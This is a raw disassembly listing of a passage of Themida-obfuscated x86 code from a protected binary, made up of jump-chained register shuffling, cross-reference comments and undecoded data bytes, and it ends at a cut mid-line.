88E96EE9h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B4EB: ; CODE XREF: Themida_:00552256j pop ebx add ebp, ecx jmp loc_5516B3 ; --------------------------------------------------------------------------- db 50h dd 42474FFh, 582434FFh, 4C481h, 48F0000h, 24248B24h, 24048B66h dd 0B514E955h, 0CC05FFFFh, 0E90DCF15h, 992h, 5EA7EA81h dd 0F28104F6h, 42B3ECE1h, 815AD531h, 954B6FEAh, 81EA0115h dd 954B6FC2h, 0F2AFE915h, 0BE56FFFFh, 7675489Dh, 16A1E681h dd 0E6C106D0h, 86C68105h, 0C15FD903h, 0F68108E6h, 0A6509750h dd 55EF001h, 0DD0D4EF4h, 1B07E9h, 86C8FE00h, 86D5F6E8h dd 30732CE8h, 48B66C7h, 2C48124h, 4000000h, 2CF80004h dd 68665B04h, 89665DE8h, 0EC832414h, 241C8904h, 0BA6870B7h dd 8900000Fh, 87B3241Ch, 0FFC63CE9h, 0C8B66FFh, 0E9545724h dd 0FFFFCEFBh, 0F66F1F6h, 6866CCB6h, 89667DBDh, 0F66240Ch dd 5166C8B6h, 725FE99Ch, 0B90000h, 21000002h, 2434FFC8h dd 0E5CE9h db 0 ; --------------------------------------------------------------------------- loc_54B5D9: ; CODE XREF: Themida_:00546650j sub eax, edx pop edx jmp loc_54F891 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0EE9h, 0D7C6800h, 34890000h, 0A6E95424h, 0FFFFFFD0h dd 1C8B2434h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 4C481h, 0C4830000h, 0E1B65204h, 8072E680h, 0CE80FFC6h dd 66CEFE11h, 2801B753h, 805B66FEh, 0F32827EBh, 0FE81B252h dd 566EE9CAh, 58540000h, 8904EC83h, 4BE2434h, 5000000h dd 36291845h, 452DF001h, 5E362918h, 27AE9h db 0 ; --------------------------------------------------------------------------- loc_54B65D: ; CODE XREF: Themida_:0054848Ej sub edx, 3F8263EDh jmp loc_5465D5 ; --------------------------------------------------------------------------- aSir db 'Ё>ИКR',0 db 0 ; --------------------------------------------------------------------------- loc_54B66F: ; CODE XREF: Themida_:00550554j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_551F7E ; --------------------------------------------------------------------------- aIZs db '┴яZИщ[',0 align 2 aY db 'Y',0 dd 0C38058E3h, 19B1516Bh, 0FFE254E9h, 0DEC181FFh, 8B3F2170h dd 0E9572404h, 0FFFFF433h, 0F63DB252h, 63E280D2h, 8050CA80h dd 0EC810FF2h, 4, 69DBE9h, 0E2816600h, 816668D9h, 667452C2h dd 68665153h, 5966362Bh, 6E9C166h, 0A3E98166h, 0CB8966A5h dd 0DA016659h, 2D665B66h, 0C7E92725h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6EB: ; CODE XREF: Themida_:0054AB81j pop edi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp imul ecx push 5CE3h mov [esp], esi mov esi, esp push ebp jmp loc_5465FF ; --------------------------------------------------------------------------- loc_54B708: ; CODE XREF: Themida_:0054877Cj xor edi, eax pop eax add esi, edi mov edi, [esp] add esp, 4 add esi, 4 jmp loc_54CD74 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 42474FFh, 0E924048Bh, 0FFFFE42Ch ; --------------------------------------------------------------------------- loc_54B730: ; CODE XREF: Themida_:0054F163j mov esp, [esp] push ecx jmp loc_54747D ; --------------------------------------------------------------------------- loc_54B739: ; CODE XREF: Themida_:0054E332j pop edi xor ecx, 4B90A3E6h add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp jmp loc_549788 ; --------------------------------------------------------------------------- db 83h dd 86E904ECh, 0F00004Fh, 0FFCABA84h, 4EC83FFh, 56240489h dd 0B951E689h, 425736A3h, 0F2C18149h, 810BDB61h, 0E80D6FE9h dd 0EAC98137h, 0E9053A59h, 0FFFFDA34h, 243C8B58h, 81E68956h dd 4C6h, 4C68100h, 56000000h, 42474FFh, 24048F5Eh, 0AE2FE95Ch dd 0F301FFFFh, 3B05EB81h, 0FF5E33AFh, 0A3E92434h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B7B7: ; CODE XREF: Themida_:0054F02Ej mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_546DDD ; --------------------------------------------------------------------------- dw 7401h dd 8F5E0424h, 0BA522404h, 4, 4245401h, 0ADE7E95Ah, 0BA52FFFFh dd 330C97h, 8142D2F7h, 0CCF365EAh, 245401FFh, 24148B04h dd 1796E9h, 96BCBA00h, 0D331BA91h, 5BDD015Ah, 2C58158h dd 33000000h, 2C31242Ch, 242C3324h, 6624248Bh, 1F68F1F7h dd 89000055h, 5F54243Ch, 4C781h, 15E90000h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B83F: ; CODE XREF: Themida_:0054D635j push ecx mov ecx, esp jmp loc_55062D ; --------------------------------------------------------------------------- loc_54B847: ; CODE XREF: Themida_:0054CE77j mov eax, [esp] sub esp, 4 mov [esp], eax mov eax, esp sub esp, 4 jmp loc_54AE43 ; --------------------------------------------------------------------------- dd 0EB027F68h, 240C8B02h, 4C481h, 0E9810000h, 22FA14D7h dd 1813F181h, 0E18122F2h, 73E6AC4h, 0E981D9F7h, 0C7292BBAh dd 8159CB01h, 794604EBh, 53C30137h, 0C381E389h, 4, 7FD968h dd 24348900h, 0A53608BEh, 2F6815Ah, 8127321Ch, 972A0EF6h dd 5EF3297Dh, 2474FF53h, 0D786E904h, 575CFFFFh, 434CE9h db 0 ; --------------------------------------------------------------------------- loc_54B8C9: ; CODE XREF: Themida_:0054CDEBj mov ebp, [esp] add esp, 4 jmp loc_54CFB9 ; --------------------------------------------------------------------------- db 57h dd 2BFh, 3631E900h, 0D680000h, 89000008h, 0E9542404h, 0FEFh dd 8924248Bh, 6852242Ch, 2246520Ch, 0D1D2F75Ah, 1CC281E2h dd 0E9448CA4h, 0FFFFE79Bh, 0A4C6815Eh, 8148D841h, 0CF67A6E6h dd 1DE68152h, 813A7925h, 10506F6h, 5EF78910h, 704AE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B92E: ; CODE XREF: Themida_:005476AFj mov ebx, esp add ebx, 4 push ecx mov ecx, 4 add ebx, 4D68710Dh sub ebx, ecx jmp loc_548938 ; --------------------------------------------------------------------------- db 81h, 0F1h, 93h dd 1629B1Ah, 0D80159CBh, 2DD8015Bh, 46981B11h, 0D6568h dd 240C8900h, 6D766855h, 0E95D5FA9h, 4CE0h, 0E92434FFh dd 290Ah, 31241C33h, 1C33241Ch, 24248B24h, 240C8966h, 2095E9h dd 0E9526600h, 4E63h, 0E4E9DE88h, 50000037h, 8B241CF7h dd 0C4832404h, 14F75004h, 2434FF24h, 0FFD58CE9h, 0E5F581FFh dd 21AABC78h, 0BE565DE8h, 1CDC22B2h, 0F708E6C1h, 0D28BE9DEh dd 815FFFFFh, 4ECh, 24348900h, 0E6AE9h, 24148700h, 1489665Ch dd 8071B624h, 0D6F601EEh, 52E9C6FEh, 89000045h, 4C681E6h dd 52000000h, 0F029BBAh, 0E9DAF74Eh, 299h, 13DBD55h, 0C5817DB9h dd 15CA7AEDh, 22F9ED81h, 0EB895B14h, 5B2CE95Dh, 525B0000h dd 31240481h, 5F1B9C25h, 2531EF81h, 148B1B9Ch, 4C48124h dd 56000000h, 0F2895E57h, 0E92434FFh, 3B2Eh, 8104C483h dd 4C3h, 4C38100h, 53000000h, 42474FFh, 52241C8Bh, 0C281E289h dd 4, 8704C283h, 0CE92414h, 0C1FFFFCEh, 0F38105E3h, 11A1623Bh dd 0E3C14B4Bh, 5E3C104h, 1CBBBA52h, 91E9F5F4h, 81000060h dd 1D2974C7h, 7B3E93Dh, 85680000h, 0E948AA66h, 0FFFFE66Ah dd 24048B66h, 52E7E9h, 0FE8AB400h, 80DCF6CCh, 0E4D0CFC4h dd 8007ECC0h, 0E70893C4h, 8324048Bh, 686604C4h, 89664CEBh dd 0E9E92404h, 0BAFFFFB5h, 5FC16B66h, 0E5E28142h, 81492B70h dd 0B114BAEAh, 0DC61E911h, 0C142FFFFh, 0EB6804E2h, 89000002h dd 4FF2414h, 58E95A24h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BAFB: ; CODE XREF: Themida_:00548E81j add ebp, ecx jmp loc_550253 ; --------------------------------------------------------------------------- loc_54BB02: ; CODE XREF: Themida_:00546CA9j push 6580h jmp loc_54C273 ; --------------------------------------------------------------------------- dd 54240C89h, 81240C8Bh, 4C4h, 26C4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB1E: ; CODE XREF: Themida_:00546C1Cj push ecx push 5B5Bh push esp jmp loc_54D6C4 ; --------------------------------------------------------------------------- dw 0B450h dd 43B65247h, 801FEE80h, 0F400BDC6h, 0F6EC865Ah, 588FE9DDh dd 0DE010000h, 7FD5EE81h, 835B2755h, 74E904C6h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BB53: ; CODE XREF: Themida_:00552680j neg edi add edi, 11843C5Dh sub edi, 44991E5Ah add edi, 0FFFFFFFFh add edi, 0B8492851h sub edx, edi mov edi, [esp] jmp loc_54A9D4 ; --------------------------------------------------------------------------- db 8Fh dd 0FF5C2404h, 34FF2434h, 0C4835924h, 3806804h, 0C890000h dd 0C8B5424h, 4C48324h, 7FDCBA52h, 0C281078Fh, 35740F52h dd 0FFFF41E9h, 4C481FFh, 50000000h, 46853h, 22E90000h dd 81FFFFE6h, 0FF6663E9h, 59CA0131h, 6802C283h, 694Dh dd 0FFC7B0E9h, 79BA52FFh, 0C1185F7Dh, 0C28107E2h, 48EE59E3h dd 0FFF93BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BBE1: ; CODE XREF: Themida_:0054DF8Bj mov [esp], eax mov eax, 21C95E54h shr eax, 1 push esi mov esi, 109E0DCCh add eax, esi pop esi sub eax, 2182BCF5h mov esi, eax mov eax, [esp] jmp loc_54ACB0 ; --------------------------------------------------------------------------- loc_54BC03: ; CODE XREF: Themida_:00548378j push edx xor dword ptr [esp], 67C01653h pop ebx xor ebx, 67C01653h pop edx jmp loc_54C73C ; --------------------------------------------------------------------------- loc_54BC18: ; CODE XREF: Themida_:0054C17Bj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi mov edi, ebx push 968h mov [esp], edi pop eax mov edi, [esp] push esi mov esi, esp add esi, 4 push ecx push 4 mov ecx, [esp] add esp, 4 sub esi, 37D003A3h add esi, ecx jmp loc_551424 ; --------------------------------------------------------------------------- dw 0D9F7h aBNj db '│аоnJ',0 dd offset dword_457444+558A5h dw 0C100h dd 0C68108E6h, 6CE45A96h, 9D94F681h, 78E9AD37h, 31FFFFE8h dd 6667E9E9h, 0D3290000h, 0FFC60BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BC89: ; CODE XREF: Themida_:0054BF8Dj mov edi, [esp] add esp, 4 add ebx, 4 jmp loc_5491A3 ; --------------------------------------------------------------------------- db 81h, 0CAh, 0BFh dd 0C17AFF06h, 0F6E905EAh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BCAB: ; CODE XREF: Themida_:00549D38j sub ebx, 3F3243FBh jmp loc_54D632 ; --------------------------------------------------------------------------- dw 5156h dd 0B85AC3B9h, 0EB55E90Dh, 0F829FFFFh, 58C6295Fh, 89F28952h dd 24148BD5h, 8B04C483h, 0C4832434h, 37B95104h, 81132BE1h dd 0F57668C5h, 81CD0164h, 0F57668EDh, 0EB295964h, 48F3E9h db 0 ; --------------------------------------------------------------------------- loc_54BCF5: ; CODE XREF: Themida_:0054B355j sub ebp, 0B3F446Ch add ebp, 21E02606h jmp loc_546F73 ; --------------------------------------------------------------------------- dw 5152h dd 0E8556A68h, 0BD555917h, 1DDF54F6h, 74E9E929h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD1B: ; CODE XREF: Themida_:0054EB02j xchg edi, [esp] pop esp mov [esp], ebx push 2691h mov [esp], ebp mov ebp, 595D01AEh add dword ptr [esp+4], 5E6D48BEh push ecx jmp loc_54C0EA ; --------------------------------------------------------------------------- loc_54BD3D: ; CODE XREF: Themida_:00552408j pop ecx add edi, edx push dword ptr [esp] pop edx add esp, 4 movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp], esi mov esi, esp push ebp jmp loc_549353 ; --------------------------------------------------------------------------- dw 487h dd 24895C24h, 24048324h, 0C3815B04h, 4, 362A68h, 242C8900h dd 4BDh, 0C1C38100h, 156074Bh, 4BF57EBh, 0E941BD7Fh, 5617h dd 0E13802B8h, 5D8F729h, 400F5BFEh, 7A1D0A35h, 20E80D00h dd 0D8F76EDBh, 20C0FE2Dh, 58C70181h, 31243C33h, 3C33243Ch dd 0FF665C24h, 0A813E930h, 0BE56FFFFh, 3F7F68E9h, 8106EEC1h dd 0EFB358EEh, 0CFF3E9E5h, 34FFFFFFh, 1F98E924h, 81590000h dd 990FFEEBh, 0E9D30113h, 40D9h ; --------------------------------------------------------------------------- loc_54BDEC: ; CODE XREF: Themida_:0054D71Aj sub esp, 4 mov [esp], eax jmp loc_5487D0 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0C3830000h, 241C8704h, 4B53E95Ch, 0C5810000h dd 4, 0EA0E9h, 0B900h, 0D9010000h, 88D78853h, 0FF595B39h dd 685A2434h, 6D48h, 89240489h, 405E0h, 0C0830000h, 6A9FE904h dd 0FB50000h, 0D7F6FD86h, 0F580FD86h, 59E82858h, 0A804E800h dd 240C8B66h, 0F7E0E950h, 0C681FFFFh, 73F65D2Fh, 8124048Bh dd 4C4h, 2B166800h, 0C890000h, 2BE5624h, 89000000h, 0CE015EF1h dd 6361E959h, 0C4830000h, 7AF28104h, 812665CDh, 88294EEEh dd 3FC68120h, 150BD02h, 3FEE81D6h, 8150BD02h, 88294EC6h dd 0CDC3E920h, 0D001FFFFh, 0CF15CC2Dh, 1CFF2D0Dh, 0FBE94CE0h dd 8900000Eh, 12E92424h, 0FFFFFFBCh, 68592434h, 3E69h dd 89243489h, 0B919E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BEDA: ; CODE XREF: Themida_:0054FD50j pop esp mov [esp], edi push 2D9A0054h pop edi jmp loc_550204 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 6624248Bh, 66240C89h, 66C8B60Fh, 0ECE99C51h, 4FFFFA8h dd 5EB55144h, 63E9E828h, 100003Bh, 74E95FFAh, 8100001Eh dd 0F228DAF3h, 65EF8127h, 10E6F2Bh, 65C781DFh, 0E90E6F2Bh dd 0FFFFBD0Fh, 19E96866h, 1AE4E9h db 0 ; --------------------------------------------------------------------------- loc_54BF35: ; CODE XREF: Themida_:0054E6DFj and eax, ebx mov ebx, [esp] jmp loc_54AD3F ; --------------------------------------------------------------------------- loc_54BF3F: ; CODE XREF: Themida_:0054A0D6j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_549607 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 64C5B951h, 5A687DF8h, 89000025h, 0BD552414h dd 69EC56DFh, 0FFE8CBE9h, 24148BFFh, 4C481h, 92E90000h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF7F: ; CODE XREF: Themida_:0054B30Cj mov ebp, [esp] push ebx mov ebx, esp push edi mov edi, 4 add ebx, edi jmp loc_54BC89 ; --------------------------------------------------------------------------- dw 0C968h dd 89000064h, 7ABB241Ch, 0E93FEB59h, 3564h ; --------------------------------------------------------------------------- loc_54BFA4: ; CODE XREF: Themida_:0054A259j push 45685448h pop ebp xor eax, ebp mov ebp, [esp] push ecx push esp pop ecx add ecx, 4 sub esp, 4 mov [esp], edx push ebx push 6665F7Ah pop ebx dec ebx add ebx, 1058AE49h jmp loc_54957A ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 0FFFFD989h, 945E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BFE2: ; CODE XREF: Themida_:0054D5EBj mov esi, [esp] add esp, 4 push edx mov edx, 10h and ebx, edx jmp loc_54A6CD ; --------------------------------------------------------------------------- dd 657363BAh, 6EAC165h, 21AAB951h, 0FCE93F59h, 83FFFFCBh dd 48F04C4h, 14E95C24h, 5D000017h, 5CC6E9h, 15D5800h, 350BE9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C026: ; CODE XREF: Themida_:00547E12j inc eax push ebp mov ebp, 4BFF02C4h xor eax, ebp jmp loc_547DC6 ; --------------------------------------------------------------------------- dd 8900C281h, 0C6811DF0h, 38B467EDh, 0EE81D601h, 38B467EDh dd 3DF2E9h db 0 ; --------------------------------------------------------------------------- loc_54C04D: ; CODE XREF: Themida_:00550691j add ecx, 18A411D9h add edi, ecx pop ecx shr edi, 6 push ecx mov ecx, 0FE1FC5A8h add edi, ecx pop ecx add ecx, edi jmp loc_54C0DE ; --------------------------------------------------------------------------- db 66h, 68h, 5 dd 489667Bh, 0A55FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C076: ; CODE XREF: Themida_:00549035j mov ebp, ebx pop ebx add ebx, ebp jmp loc_54EA7F ; --------------------------------------------------------------------------- dd 0E904C483h, 54BAh ; --------------------------------------------------------------------------- loc_54C088: ; CODE XREF: Themida_:0054F7FEj mov edx, 76705F2Ch xor edi, edx pop edx pop edx push 338Bh jmp loc_549CAE ; --------------------------------------------------------------------------- db 59h dd 0E9241433h, 3DC1h, 0E92434FFh, 2DEBh, 0CFE8BD55h, 0EE291DB1h dd 4FBA525Dh, 29DF439Eh, 0D052E9D6h, 48FFFFFh, 57A6E924h dd 0E7880000h, 21896858h, 1C890000h, 24448624h, 0AC1E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C0DE: ; CODE XREF: Themida_:0054C064j pop edi push esi mov esi, 79F420C5h jmp loc_5499FC ; --------------------------------------------------------------------------- loc_54C0EA: ; CODE XREF: Themida_:0054BD38j mov ecx, 2F530250h push edx mov edx, 59236E16h dec edx add edx, 0E343FD9Dh jmp loc_546D92 ; --------------------------------------------------------------------------- db 0BAh, 0D1h, 3 aSj db '|{И╕`',0 dw 8100h dd 0E14C48C2h, 81F20161h, 0E14C48EAh, 0F1685E61h, 8900000Bh dd 0EFE9241Ch, 68000064h, 24h, 8324148Bh, 0EE8104C4h, 33693C31h dd 0FAE9D601h, 83FFFFE5h, 48704C0h, 0C7E95C24h, 89FFFFECh dd 25E95FFBh db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C153: ; CODE XREF: Themida_:00552104j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_551583 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 4BF57h, 89560000h, 0E9F189FEh, 0FFFFC034h ; --------------------------------------------------------------------------- loc_54C174: ; CODE XREF: Themida_:005491B3j and ecx, esi pop esi shr ecx, 7 push ecx jmp loc_54BC18 ; --------------------------------------------------------------------------- dd 2B86650h, 0C6896661h, 0F3896658h, 24348B66h, 2C481h dd 5BE90000h, 89000041h, 8DB9240Ch, 814E633Fh, 5F2A79F1h dd 7F1816Ah, 0F7622444h, 0F7C181D9h, 81461851h, 0FB74ECEFh dd 81CF017Eh, 0FB74ECC7h, 3C87597Eh, 0C80F5C24h, 7B4868h dd 24048900h, 0FFA3FCE9h, 0C8B66FFh, 0E3895324h, 4C381h dd 68570000h, 0EA9h, 68243489h, 68AB5E52h, 0FFF713E9h dd 0F1368FFh, 14890000h, 104CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C206: ; CODE XREF: Themida_:0054F45Ej sub esp, 4 mov [esp], ebx push ecx mov ecx, 4FFD2BF3h jmp loc_551FF0 ; --------------------------------------------------------------------------- db 89h dd 8E95EF0h, 0F7FFFFADh, 29CB81D3h, 815FF73Dh, 0CC4A89CBh dd 0F9EB813Ch, 0E9FFFFFFh, 3B1Dh, 4246C01h, 242C815Dh dd 6B935942h, 0FFF25AE9h, 2CE95DFFh, 57000050h, 42474FFh dd 81243C8Bh, 4C4h, 24048F00h, 0E924248Bh, 39F9h, 2C1DF3BBh dd 37E95742h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C273: ; CODE XREF: Themida_:0054BB07j mov [esp], edx mov edx, 5063517Ah push 3DE2h mov [esp], ebx mov ebx, 5C941AF1h add ebx, 519E0390h jmp loc_54C6CE ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 8957E089h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 242C895Ch, 4BDh, 3F282D00h, 822D502Dh, 11C2418h, 0A3D9E9E8h dd 0E931FFFFh, 0E931CD31h, 4EC835Dh, 50241489h, 194EE9h dd 4B900h, 0CA890000h, 22EF8159h, 13F8132h, 22C781D7h dd 8B3F8132h, 0E9532414h, 0FFFFEF23h, 88E4C380h, 16E95BDAh dd 5300001Ch, 16182FBBh, 5BD82926h, 0FFB177E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C311: ; CODE XREF: Themida_:0054960Aj pop esp jmp loc_54F41C ; --------------------------------------------------------------------------- loc_54C317: ; CODE XREF: Themida_:0054865Dj mov edi, 74833CCAh xor edi, ebx pop ebx and ecx, edi mov edi, [esp] push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54D084 ; --------------------------------------------------------------------------- dd 8107EDC1h, 0CE4E8DEDh, 5EF5817Ch, 89A8E508h, 0E7815DEFh dd 523F7CE0h, 761DC781h, 0F8890933h, 0FFF03AE9h, 0EC381FFh dd 315D3D6Dh, 0A25FE9C2h, 0B353FFFFh, 1A1FE972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C37E: ; CODE XREF: Themida_:005477DDj add edi, 3A050785h sub ebp, edi pop edi push esi push eax mov eax, 736B17FBh inc eax push ecx jmp loc_54EE45 ; --------------------------------------------------------------------------- db 89h, 0EAh, 89h dd 2C8B5AD1h, 4C48324h, 8904EC83h, 0EF68240Ch, 0E9776348h dd 0FFFFBB54h, 8B66E300h, 0C4832404h, 10C38002h, 1C8BD830h dd 4C48324h, 0FFB759E9h, 34895CFFh, 68E68924h, 0FCAh, 0FFC85DE9h dd 0FBD05FFh, 0B9E959B1h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C3E3: ; CODE XREF: Themida_:00549373j pop esi add edi, 300B6EF8h jmp loc_549545 ; --------------------------------------------------------------------------- loc_54C3EF: ; CODE XREF: Themida_:0054AD05j mov edx, 0E1FBC3Eh add edx, ebx jmp loc_5480BE ; --------------------------------------------------------------------------- aScb db '[ИФB',0 db 0 ; --------------------------------------------------------------------------- loc_54C401: ; CODE XREF: Themida_:0054A9B4j mov [esp], eax not dword ptr [esp] push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp jmp loc_548E6D ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0E46EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C41E: ; CODE XREF: Themida_:0054679Fj add eax, 4 xchg eax, [esp] pop esp push eax jmp loc_54A744 ; --------------------------------------------------------------------------- dd offset dword_5BF180 db 0C8h dd 0FFFC6FE9h, 895759FFh, 4C781E7h, 81000000h, 4C7h, 243C3300h dd 33243C31h, 248B243Ch, 0E7895724h, 428368h, 240C8900h dd 0E13859B9h, 0E9D1F775h, 3331h, 0E924148Bh, 0FFFFD0E6h dd 8704C383h, 0A1E9241Ch db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C47B: ; CODE XREF: Themida_:00547923j add ebx, 0D77AD330h mov edx, ebx jmp loc_54E968 ; --------------------------------------------------------------------------- loc_54C488: ; CODE XREF: Themida_:00546752j mov [esp], ecx jmp loc_5523FE ; --------------------------------------------------------------------------- loc_54C490: ; CODE XREF: Themida_:0054A165j pop edx jmp loc_5520A4 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 0A12FE99Ch, 2C0CFFFFh, 0D0F6C0FEh dd 0DCCE9h, 4C18100h, 0E9000000h, 0FFFFC69Fh ; --------------------------------------------------------------------------- loc_54C4BC: ; CODE XREF: Themida_:0054D9FFj push dword ptr [esp] pop eax jmp loc_54E813 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Bh, 0C1000000h, 0BA5202E8h, 493303B0h, 8B0E281h dd 0C14279D5h, 16E904E2h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C4E7: ; CODE XREF: Themida_:00549EDFj sub esp, 4 jmp loc_546846 ; --------------------------------------------------------------------------- dw 5457h dd 0FFBA4DE9h, 240C87FFh, 0B6A0E95Ch, 0EC83FFFFh, 24048904h dd 0FFB6CAE9h, 241489FFh, 2434FF54h, 4C4835Ah, 0A6BF5751h dd 0B9458009h, 777F700Dh, 0E95FF929h, 0FFFFF68Bh ; --------------------------------------------------------------------------- loc_54C52C: ; CODE XREF: Themida_:0054D64Aj shl esi, 1 sub esi, 447E14F9h and eax, esi push dword ptr [esp] jmp loc_550993 ; --------------------------------------------------------------------------- loc_54C53E: ; CODE XREF: Themida_:0054DBEDj sub edi, 6F130A87h push eax mov eax, 43BC4F1Bh neg eax inc eax sub eax, 79F46DDAh add edi, eax jmp loc_54A38A ; --------------------------------------------------------------------------- db 52h, 0BAh, 0 dd 1000000h, 423281DAh, 8B7F846Eh, 89572414h, 3BE56E7h dd 814FEF20h, 10E001C6h, 0E9F701B0h, 3084h, 0CF87D1F7h dd 33243C31h, 3C31243Ch, 0E9925824h, 0FFFFD523h, 0FFA03CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C599: ; CODE XREF: Themida_:0054A463j pop esp mov [esp], ebp mov ebp, 0FFFFFFFFh jmp loc_54E6F3 ; --------------------------------------------------------------------------- loc_54C5A7: ; CODE XREF: Themida_:00552663j push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_54E78A ; --------------------------------------------------------------------------- db 81h dd 277C6EE6h, 6DEE815Ah, 31292136h, 0E7E95EF1h, 5500001Ah dd 43E9E9h, 3E12BD00h, 0ED811C65h, 375765C9h, 0C581DD01h dd 375765C9h, 4EDC15Bh, 351BE581h, 0B9512FF8h, 10E540D8h dd 54AFE981h, 0E9531B76h, 0FFFFE964h, 96F7815Fh, 5961FA4Ah dd 815FFE01h, 2EEh, 24348700h, 0FFBCB0E9h, 74FF66FFh, 8B660224h dd 0E9532414h, 117Dh, 2455EA81h, 0D689C78Ch, 0F631E95Ah dd 0C230FFFFh, 66D03058h, 0C5B1515Ah, 40E9CB00h, 1FFFFB7h dd 0E9015AD5h, 0E92434FFh, 0FFFFF9C3h ; --------------------------------------------------------------------------- loc_54C654: ; CODE XREF: Themida_:00550497j push ebp mov ebp, 4E37168Ch push ecx mov ecx, 11DF4B43h or ecx, 3A571D09h jmp loc_54F478 ; --------------------------------------------------------------------------- loc_54C66B: ; CODE XREF: Themida_:0054CDB5j add esp, 4 pop dword ptr [esp] mov esp, [esp] or ebx, ebx jmp loc_5505B3 ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 0E924048Fh, 5928h, 348BF501h, 4C48124h, 51000000h dd 4B9h, 59CD0100h, 0FFECC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C6A1: ; CODE XREF: Themida_:005493A6j and edi, 31637ADFh sub edi, 1 not edi push ebx mov ebx, 38577945h shl ebx, 7 and ebx, 1F8C217Ch xor ebx, 4B9D391Ch push edx mov edx, 6C1B27B4h neg edx jmp loc_5494A9 ; --------------------------------------------------------------------------- loc_54C6CE: ; CODE XREF: Themida_:0054C28Ej xchg ebp, ebx not ebp xchg ebp, ebx xor ebx, 0FE514FFBh push edi mov edi, ebx mov ebp, edi mov edi, [esp] add esp, 4 pop ebx jmp loc_550AE1 ; --------------------------------------------------------------------------- db 59h dd 8702E883h, 248B2404h, 51D2E924h, 8A680000h, 8900001Ch dd 0F7E9240Ch, 0E9000028h, 0FFFF9EC9h ; --------------------------------------------------------------------------- loc_54C70C: ; CODE XREF: Themida_:0054FA13j push ecx mov ecx, esp push esi jmp loc_54B260 ; --------------------------------------------------------------------------- loc_54C715: ; CODE XREF: Themida_:00546D94j pop edx add [esp+8], ecx jmp loc_5486C3 ; --------------------------------------------------------------------------- db 5Ch dd 4BB0F66h, 0AAE99C24h, 89FFFF9Eh, 15DEE9E7h, 24680000h dd 0E900002Fh, 0FFFFEFE5h ; --------------------------------------------------------------------------- loc_54C73C: ; CODE XREF: Themida_:0054BC13j add dword ptr [esp+4], 571E5D22h add dword ptr [esp+4], 543B7CF9h add [esp+4], ebx sub dword ptr [esp+4], 543B7CF9h jmp loc_548C8C ; --------------------------------------------------------------------------- db 1, 0C5h, 58h dd 31242C33h, 2C33242Ch, 24248B24h, 9C2404D2h, 0FF9E60E9h dd 24148BFFh, 5104C483h, 96243481h, 0E961FA4Ah, 0FFFFFE78h dd 0E902C183h, 4B1h, 815FFE89h, 9C5ECBC3h, 81F30135h, 9C5ECBEBh dd 24348B35h, 8304C483h, 1C8704C3h, 24248B24h, 0E99CC83Bh dd 0FFFF9E1Dh, 4C7815Fh, 81000000h, 4EFh, 243C8700h, 3075E95Ch dd 0CD010000h, 81DDF759h, 0B6105CCDh, 0FDF58116h, 68B7B6F5h dd 7126h, 89240C89h, 59CF89E9h, 0A452E95Dh, 0B951FFFFh dd 0F943621h, 8B59CA29h, 0C4832404h, 4C28304h, 31241433h dd 0AAE92414h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C80F: ; CODE XREF: 